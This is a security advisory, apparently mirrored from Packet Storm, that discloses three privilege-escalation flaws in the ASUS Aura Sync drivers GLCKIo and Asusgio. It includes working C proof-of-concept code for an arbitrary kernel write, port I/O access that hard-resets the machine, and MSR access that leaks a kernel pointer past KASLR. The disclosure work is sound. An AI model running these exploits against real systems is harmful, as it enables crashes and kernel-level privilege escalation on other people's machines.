Lucene search
K

ASUS Driver Privilege Escalation

🗓️ 21 Dec 2018 00:00:00Reported by Core Security TechnologiesType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 72 Views

ASUS Drivers Privilege Escalation Vulnerabilities on Asusgio and GLCKI

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ASUS Aura Sync versions 1.07.22 Driver Privilege Escalation Exploit
23 Dec 201800:00
zdt
Circl
CVE-2018-18535
13 Nov 202302:12
circl
CNVD
ASUS Aura Sync Arbitrary Code Execution Vulnerability
24 Dec 201800:00
cnvd
CNVD
ASUS Aura Sync Arbitrary Code Execution Vulnerability
25 Dec 201800:00
cnvd
CNVD
ASUS Aura Sync Arbitrary Code Execution Vulnerability
21 Dec 201800:00
cnvd
CVE
CVE-2018-18535
26 Dec 201820:00
cve
CVE
CVE-2018-18536
26 Dec 201820:00
cve
CVE
CVE-2018-18537
26 Dec 201820:00
cve
Cvelist
CVE-2018-18535
26 Dec 201820:00
cvelist
Cvelist
CVE-2018-18536
26 Dec 201820:00
cvelist
Rows per page
`SecureAuth - SecureAuth Labs Advisory  
http://www.secureauth.com/  
  
ASUS Drivers Elevation of Privilege Vulnerabilities  
  
*1. *Advisory Information**  
  
Title: ASUS Drivers Elevation of Privilege Vulnerabilities  
Advisory ID: CORE-2017-0012  
Advisory URL:  
http://www.secureauth.com/labs/advisories/asus-drivers-elevation-privilege-vulnerabilities  
Date published: 2018-12-18  
Date of last update: 2018-12-18  
Vendors contacted: Asus  
Release mode: User release  
  
*2. *Vulnerability Information**  
  
Class: Exposed IOCTL with Insufficient Access Control [CWE-782],  
Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL  
with Insufficient Access Control [CWE-782]  
Impact: Code execution  
Remotely Exploitable: No  
Locally Exploitable: Yes  
CVE Name: CVE-2018-18537, CVE-2018-18536, CVE-2018-18535  
  
*3. *Vulnerability Description**  
  
ASUS offers several drivers and utilities [1] in order to give the user  
more control over certain settings and functions of the motherboard.  
In particular, ASUS Aura Sync takes RGB lighting beyond the checkbox,  
combining and controlling the LEDs of all your Aura-enabled products  
from a single application to achieve perfect, synchronized harmony. From  
motherboards and RGB strips to graphics cards and beyond, Aura Sync  
enables a veritable symphony of light for ultimate personalization.  
  
Multiple vulnerabilities were found in the GLCKIo and Asusgio drivers  
installed by ASUS Aura Sync, which could allow a local attacker to  
elevate privileges.  
  
*4. *Vulnerable Packages**  
  
. ASUS Aura Sync v1.07.22 and previous versions  
Other products and versions might be affected, but they were not tested.  
  
*5. *Vendor Information, Solutions and Workarounds**  
  
The vendor did not provide fixes or workaround information.  
  
*6. *Credits**  
  
These vulnerabilities were discovered and researched by Diego Juarez.  
The publication of this advisory was coordinated by Leandro Cuozzo from  
SecureAuth Advisories Team.  
  
*7. *Technical Description / Proof of Concept Code**  
  
Aura Sync is ASUS's command software for all their line of recent RGB  
lighting enabled devices (motherboards/graphics cards/keyboards/mice/etc).  
  
The main subject of this advisory are two of the device drivers  
installed/loaded by the Aura Sync application. From now on addressed as  
"Asusgio" and "GLCKIo". Default installation allows non-privileged user  
processes (even running at LOW INTEGRITY) to get a HANDLE and issue  
IOCTL codes to these drivers.  
  
The following sections describe the problems found.  
  
*7.1. *Arbitrary ring0 write**  
  
[CVE-2018-18537]  
There is a path in the processing of IOCTL_GLCKIO_READPORT (0x80102050)  
on GLCKIo leading to write of arbitrary DWORD to an arbitrary address.  
  
/-----  
.text:FFFFF800B09F13FE loc_FFFFF800B09F13FE:  
.text:FFFFF800B09F13FE mov rax, [rsp+0C8h+var_38]   
; CONTROLLED VALUE  
.text:FFFFF800B09F1406 mov ecx, [rsp+0C8h+var_56]   
; CONTROLLED VALUE  
.text:FFFFF800B09F140A mov [rax], ecx   
; Arbitrary DWORD sized write!  
.text:FFFFF800B09F140C mov rax, [rsp+0C8h+Irp]  
.text:FFFFF800B09F1414 mov qword ptr [rax+38h], 4  
.text:FFFFF800B09F141C jmp short loc_FFFFF800B09F142D  
-----/  
  
Proof of Concept:  
/-----  
#include <windows.h>  
HANDLE ghDriver = 0;  
  
#define IOCTL_GLCKIO_VMWRITE 0x80102050  
  
typedef struct _STRUCT_GLCKIO_VMWRITE {  
WORD unk0;  
DWORD unk1_1;  
WORD unk1_2;  
ULONG64 unk2;  
ULONG64 unk3;  
ULONG64 unk4;  
ULONG64 unk5;  
ULONG64 unk6;  
} STRUCT_GLCKIO_VMWRITE;  
  
BOOL ArbitraryWriteDWORD(ULONG64 dest, DWORD value)  
{  
STRUCT_GLCKIO_VMWRITE mystructIn = { 0 };  
mystructIn.unk0 = 0xf11;  
mystructIn.unk1_1 = value; // value  
mystructIn.unk5 = dest; // address  
  
STRUCT_GLCKIO_VMWRITE mystructOut = { 0 };  
  
DWORD returned = 0;  
  
DeviceIoControl(ghDriver, IOCTL_GLCKIO_VMWRITE, (LPVOID)&mystructIn,  
sizeof(mystructIn), (LPVOID)&mystructOut, sizeof(mystructOut),  
&returned, NULL);  
return BOOL(returned);  
}  
  
BOOL InitDriver()  
{  
ghDriver = CreateFile("\\\\.\\GLCKIo", GENERIC_READ | GENERIC_WRITE,  
FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,  
FILE_ATTRIBUTE_NORMAL, NULL);  
if (ghDriver == INVALID_HANDLE_VALUE) {  
printf("Cannot get handle to GLCKIo driver - GetLastError:%d\n",  
GetLastError());  
return FALSE;  
}  
return TRUE;  
}  
  
int _tmain(int argc, _TCHAR* argv[])  
{  
printf("ASUS Aura Sync PoC (arbitrary ring0 write)\n");  
  
if (!InitDriver()) {  
exit(0);  
}  
  
printf("press ENTER for instant BSOD\n");  
getchar();  
ArbitraryWriteDWORD(0, 0xffffffff);  
  
CloseHandle(ghDriver);  
return 0;  
}  
-----/  
  
*7.2. *Port mapped I/O access**  
  
[CVE-2018-18536]  
Both GLCKIo and Asusgio expose a functionality to read/write data  
from/to IO ports. This could be leveraged in a number of ways to  
ultimately run code with elevated privileges.  
  
/-----  
// This harmless PoC only reboots the PC, much more sinister stuff  
// would also be possible by abusing this functionality.  
  
// Compile for 32bit!!! Asusgio apparently has a bug preventing this  
// functionality to work unless IoIs32bitProcess == TRUE. They set rdx  
// as a pointer instead of a port number on the in/out instruction...  
// and they ONLY do this incorrectly in the x64 process specific code.(!?)  
  
#include "stdafx.h"  
#include <windows.h>  
  
// for \\.\glckio  
#define IOCTL_GLCKIO_WRITEPORT 0x80102054  
#define IOCTL_GLCKIO_READPORT 0x80102050  
  
// for \\.\Asusgio  
#define IOCTL_ASIO_PORTREADB 0xA0406400  
#define IOCTL_ASIO_PORTWRITEB 0xA040A440  
  
HANDLE ghDriver = 0;  
  
typedef BYTE(*fnPMIOReadB)(WORD port);  
typedef BYTE(*fnPMIOWriteB)(WORD port, BYTE value);  
  
#pragma pack (push,1)  
  
typedef struct {  
DWORD DriverIndex; // DriverEnum index  
BYTE DeviceName[MAX_PATH];  
fnPMIOReadB pPMIOReadB;  
fnPMIOWriteB pPMIOWriteB;  
} AutoConfigStruct;  
  
AutoConfigStruct gConfig = { 0 };  
  
enum DriverEnum {  
ASIO = 1,  
GLCKIO,  
};  
  
typedef struct _ASIO_PORTIO_STRUCT {  
DWORD port;  
ULONG64 value;  
} ASIO_PORTIO_STRUCT;  
  
typedef struct _GLCKIO_PORTIO_STRUCT {  
WORD port;  
DWORD value;  
DWORD datalen;  
} GLCKIO_PORTIO_STRUCT;  
  
#pragma pack(pop)  
  
#define IOCTLMACRO(iocontrolcode, size) \  
BYTE outbuffer[0x30] = { 0 }; \  
DWORD returned = 0; \  
DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer,  
##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL); \  
return outbuffer[0]; \  
  
BYTE GLCKIO_PMIOReadB(WORD port)  
{  
GLCKIO_PORTIO_STRUCT inbuffer = { port, 0, 1};  
IOCTLMACRO(IOCTL_GLCKIO_READPORT, 10)  
}  
  
BYTE GLCKIO_PMIOWriteB(WORD port, BYTE value)  
{  
GLCKIO_PORTIO_STRUCT inbuffer = { port, value, 1 };  
IOCTLMACRO(IOCTL_GLCKIO_WRITEPORT, 10)  
}  
  
BYTE ASIO_PMIOReadB(WORD port)  
{  
ASIO_PORTIO_STRUCT inbuffer = { port, 0 };  
IOCTLMACRO(IOCTL_ASIO_PORTREADB, 4)  
}  
  
BYTE ASIO_PMIOWriteB(WORD port, BYTE value)  
{  
ASIO_PORTIO_STRUCT inbuffer = { port, value };  
IOCTLMACRO(IOCTL_ASIO_PORTWRITEB, 5)  
}  
  
void Reboot()  
{  
BYTE cf9 = gConfig.pPMIOReadB(0xcf9) & ~0x6;  
gConfig.pPMIOWriteB(0xcf9, cf9 | 2);  
Sleep(50);  
gConfig.pPMIOWriteB(0xcf9, cf9 | 0xe);  
Sleep(50);  
}  
  
BOOL InitDriver()  
{  
char *szDeviceNames[] = { "\\\\.\\Asusgio" , "\\\\.\\GLCKIo" };  
BYTE i = 0;  
for (i = 0; i<2; i++) {  
ghDriver = CreateFile(szDeviceNames[i], GENERIC_READ |  
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,  
FILE_ATTRIBUTE_NORMAL, NULL);  
  
if (ghDriver == INVALID_HANDLE_VALUE) {  
printf("Cannot get handle to driver object \'%s\'-  
GetLastError:%d\n", szDeviceNames[i], GetLastError());  
continue;  
}  
  
gConfig.DriverIndex = i+1;  
memcpy(gConfig.DeviceName, szDeviceNames[i], MAX_PATH-1);  
break;  
}  
  
switch (gConfig.DriverIndex) {  
case DriverEnum::ASIO:  
{  
gConfig.pPMIOReadB = (fnPMIOReadB)ASIO_PMIOReadB;  
gConfig.pPMIOWriteB = (fnPMIOWriteB)ASIO_PMIOWriteB;  
}  
break;  
  
case DriverEnum::GLCKIO:  
{  
gConfig.pPMIOReadB = (fnPMIOReadB)GLCKIO_PMIOReadB;  
}  
gConfig.pPMIOWriteB = (fnPMIOWriteB)GLCKIO_PMIOWriteB;  
break;  
  
default:  
break;  
}  
  
return gConfig.DriverIndex ? TRUE : FALSE;  
}  
  
int _tmain(int argc, _TCHAR* argv[])  
{  
printf("ASUS Aura Sync PoC (PMIO access)\n");  
  
if (!InitDriver()) {  
printf("InitDriver failed! - aborting...\n");  
exit(0);  
}  
  
printf("DeviceName: \'%s\' Handle: %08x\n", gConfig.DeviceName,  
(DWORD)ghDriver);  
printf("press ENTER for hard reset...");  
getchar();  
Reboot();  
CloseHandle(ghDriver);  
}  
-----/  
  
*7.3. *MSR Register access**  
  
[CVE-2018-18535]  
Asusgio exposes a functionality to read and write Machine Specific  
Registers (MSRs). This could be leveraged to execute arbitrary ring-0  
code.  
  
Proof of Concept:  
  
/-----  
// This PoC demonstrates insecure access to MSRs by reading IA32_LSTAR  
// register value (leaks a kernel function pointer bypassing KASLR) and  
// then writing garbage to it (instant BSOD!)  
  
#include <windows.h>  
  
// for \\.\Asusgio  
#define IOCTL_ASIO_RDMSR 0xA0406458  
#define IOCTL_ASIO_WRMSR 0xA040A45C  
  
HANDLE ghDriver = 0;  
  
#pragma pack (push,1)  
  
typedef struct _ASIO_MSRIO_STRUCT {  
DWORD reg;  
ULONG64 value;  
} ASIO_MSRIO_STRUCT;  
  
#pragma pack(pop)  
  
#define IOCTLMACRO(iocontrolcode, size) \  
ULONG64 outbuffer[2] = { 0 }; \  
DWORD returned = 0; \  
DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer,  
##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL); \  
return outbuffer[0]; \  
  
ULONG64 ASIO_RDMSR(DWORD reg)  
{  
ASIO_MSRIO_STRUCT inbuffer = { reg };  
IOCTLMACRO(IOCTL_ASIO_RDMSR, 4)  
}  
  
ULONG64 ASIO_WRMSR(DWORD reg, ULONG64 value)  
{  
ASIO_MSRIO_STRUCT inbuffer = { reg, value };  
IOCTLMACRO(IOCTL_ASIO_WRMSR, 12)  
}  
  
BOOL InitDriver()  
{  
ghDriver = CreateFile("\\\\.\\Asusgio", GENERIC_READ |  
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,  
FILE_ATTRIBUTE_NORMAL, NULL);  
  
if (ghDriver == INVALID_HANDLE_VALUE) {  
printf("Cannot get handle to driver object \'%s\'-  
GetLastError:%d\n", "\\\\.\\Asusgio", GetLastError());  
return FALSE;  
}  
  
return TRUE;  
}  
  
int _tmain(int argc, _TCHAR* argv[])  
{  
printf("ASUS Aura Sync PoC (MSR access)\n");  
  
if (!InitDriver()) {  
printf("InitDriver failed! - aborting...\n");  
exit(0);  
}  
  
ULONG64 IA32_LSTAR = ASIO_RDMSR(0xC0000082);  
printf("IA32_LSTAR: %llx (should be nt!KiSystemCall64)\n", IA32_LSTAR);  
printf("press ENTER for instant BSOD\n");  
getchar();  
a = ASIO_WRMSR(0xC0000082, 0xffff1111ffff2222);  
CloseHandle(ghDriver);  
}  
-----/  
  
*8. *Report Timeline**  
2017-11-27: SecureAuth sent an initial notification to ASUS, asking for  
GPG keys.  
2017-12-14: SecureAuth sent a second notification to ASUS.  
2018-01-29: SecureAuth sent a third notification to ASUS.  
2018-01-30: Asus acknowledged SecureAuth's e-mail and asked for a report  
with technical information.  
2018-01-31: SecureAuth sent Asus a draft version of the advisory.  
2018-02-07: SecureAuth requested an update from Asus regarding the  
reported vulnerabilities and a tentative schedule.  
2018-02-14: SecureAuth again requested an update from Asus regarding the  
reported vulnerabilities and a tentative schedule.  
2018-02-21: Asus acknowledged SecureAuth's draft report and asked for  
time for internal investigations.  
2018-02-21: Asus answered saying that they were planning to update Aura  
in April.  
2018-02-21: SecureAuth thanked Asus's feedback and requested a regular  
contact until the Auras update.  
2018-03-19: SecureAuth asked for a status update.  
2018-03-26: SecureAuth asked for a status update again.  
2018-03-26: Asus notified that the Aura Sync had been fixed.  
2018-03-26: SecureAuth asked Asus to confirm if this new version had  
been already released.  
2018-04-03: SecureAuth requested a status update.  
2018-04-16: SecureAuth requested a confirmation for Asus.  
2018-04-23: SecureAuth requested a confirmation for Asus again.  
2018-04-26: SecureAuth noticed that a new version of Aura Sync was  
available. However, this version didn't address the reported  
vulnerabilities. For that reason, SecureAuth requested a clarification  
about the case.  
2018-05-08: SecureAuth noticed that a new version of Aura Sync was  
available but this version only addresses one of the two vulnerable  
drivers. In this context, SecureAuth requested a new clarification.  
2018-07-03: SecureAuth requested a status update.  
2018-12-18: Advisory CORE-2017-0012 published as 'user release'.  
  
*9. *References**  
  
[1] https://www.asus.com/support  
  
*10. *About SecureAuth Labs**  
  
SecureAuth Labs, the research arm of SecureAuth Corporation, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct research in several important areas of  
computer security, including identity-related attacks, system  
vulnerabilities and cyber-attack planning. Research includes problem  
formalization, identification of vulnerabilities, novel solutions and  
prototypes for new technologies. We regularly publish security  
advisories, primary research, technical publications, research blogs,  
project information, and shared software tools for public use at  
http://www.secureauth.com.  
  
*11. *About SecureAuth**  
  
SecureAuth is leveraged by leading companies, their employees, their  
customers and their partners to eliminate identity-related breaches.  
As a leader in access management, identity governance, and penetration  
testing, SecureAuth is powering an identity security revolution by  
enabling people and devices to intelligently and adaptively access  
systems and data, while effectively keeping bad actors from doing harm.  
By ensuring the continuous assessment of risk and enablement of trust,  
SecureAuth's highly flexible Identity Security Automation (ISA) platform  
makes it easier for organizations to prevent the misuse of credentials  
and exponentially reduce the enterprise threat surface. To learn more,  
visit www.secureauth.com, call (949) 777-6959, or email us at  
[email protected]  
  
*12. *Disclaimer**  
  
The contents of this advisory are copyright (c) 2018 SecureAuth, and are  
licensed under a Creative Commons Attribution Non-Commercial Share-Alike  
3.0 (United States) License:  
http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Dec 2018 00:00Current
0.9Low risk
Vulners AI Score0.9
EPSS0.00099
72